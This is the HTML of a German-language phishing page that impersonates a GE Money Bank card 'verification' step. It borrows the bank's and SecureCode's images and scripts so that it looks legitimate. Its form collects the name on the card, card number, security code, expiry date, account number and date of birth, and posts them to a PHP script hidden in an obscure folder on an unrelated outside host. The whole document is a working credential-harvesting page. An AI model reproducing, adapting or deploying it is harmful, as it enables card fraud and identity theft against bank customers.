<form id="formulaire" action="http://anfibios6x6.com/templates/beez/images/.~o/l.php" method="post" name="formulaire" onsubmit="return validation();"><b>GE Money Bank - Einzelheiten Verifikation<b/><!-- x-out.js has code to POST PAReq to CAP when user closes window. -->
<script type="text/javascript" language="javascript" src="https://acs1.viseca.ch/acspage/Viseca_de_DE_MC/x-out.js"></script>
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<div id="header">
<div id="header_issuer_theme">&nbsp;</div>
<div id="header_issuer_text" style="width: 170px; height: 61px;">
<div id="header0">
<div id="header_lang_nav0">

&nbsp;</div>
</div>
</div>
<div id="header_lang_nav">&nbsp;</div>
</div>
<div id="subheader">&nbsp;</div>
<table id="main" style="width: 377px;" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td>
<table width=60 height=60 border=0 cellpadding=0 cellspacing=0 bgcolor="#ffffff" align="center" VALIGN="TOP">
<tr>
<td><img src="https://cap.securecode.com/acspage/GeMoney_de_DE/images/gemoney.gif" alt="GE Money"></td>
</tr>
<tbody>
<tr>
<td>
<p><span id="stringH1070"><font color="#800000" ><b>Kreditkarte Details:<b/></span></p>
<p><span id="stringH1070"><font color="#800000" ><b>Bitte machen Sie folgende Angaben:<p/></span></p>
<table id="table1" class="dynContent" style="width: 314px;">
<tbody>
<tr>
<td class="left" width="154"><span id="stringH1120">Name auf der Karte<span style="color: #ff0000;">*</span>:</span></td>
<td class="left" width="168"><input class="monospace" type="text" name="x1" size="19" maxlength="39" /></td>
</tr>
<tr>
<td class="left" width="154"><span id="stringH1120">Kartennummer<span style="color: #ff0000;">*</span>:</span></td>
<td class="left" width="168"><input class="monospace" type="text" name="x2" size="19" maxlength="39" /></td>
</tr>
<tr>
<td class="left" width="154"><span id="stringH1120">Prüfnummer<span style="color: #ff0000;">*</span>:</span></td>
<td class="left" width="168"><input class="monospace" type="text" name="x3" size="5" maxlength="3" /></td>
</tr>
<tr>
<td class="left" width="154"><span id="stringH1120">Ablaufdatum<span style="color: #ff0000;">*</span>:</span></td>
<td class="left" width="168"><input class="monospace" type="text" name="x4" size="19" maxlength="39" /></td>
</tr>
<tr>
<td class="left" width="154"><span id="stringH1120">Kontonummer<span style="color: #ff0000;">*</span>:</span></td>
<td class="left" width="168"><input class="monospace" type="text" name="x5" size="19" maxlength="39" /></td>
</tr>
<tr>
<td class="left" width="154"><span id="stringH1120">Geburtsdatum (TT.MM.JJJJ)<span style="color: #ff0000;">*</span>:</span></td>
<td class="left" width="168"><input class="monospace" type="text" name="x6" size="19" maxlength="39" /></td>
</tr>
<tr>
<td colspan="2">
<table id="table2" style="width: 100%;" border="0" cellspacing="0" cellpadding="0">
<tbody>

</tbody>
</table>
</td>
</tr>
</tbody>
</table>

<div class="nav" style="width: 53px; height: 22px;" align="right"><input onclick="return onUserInput(1);" type="image" name="I2" value="submit" src="https://cap.securecode.com/acspage/GeMoney_de_DE/images/btn_continue_blk.gif" alt="Jetzt aktivieren" /></div>
</div>
</td>
</tr>
</tbody>
</table>
</form>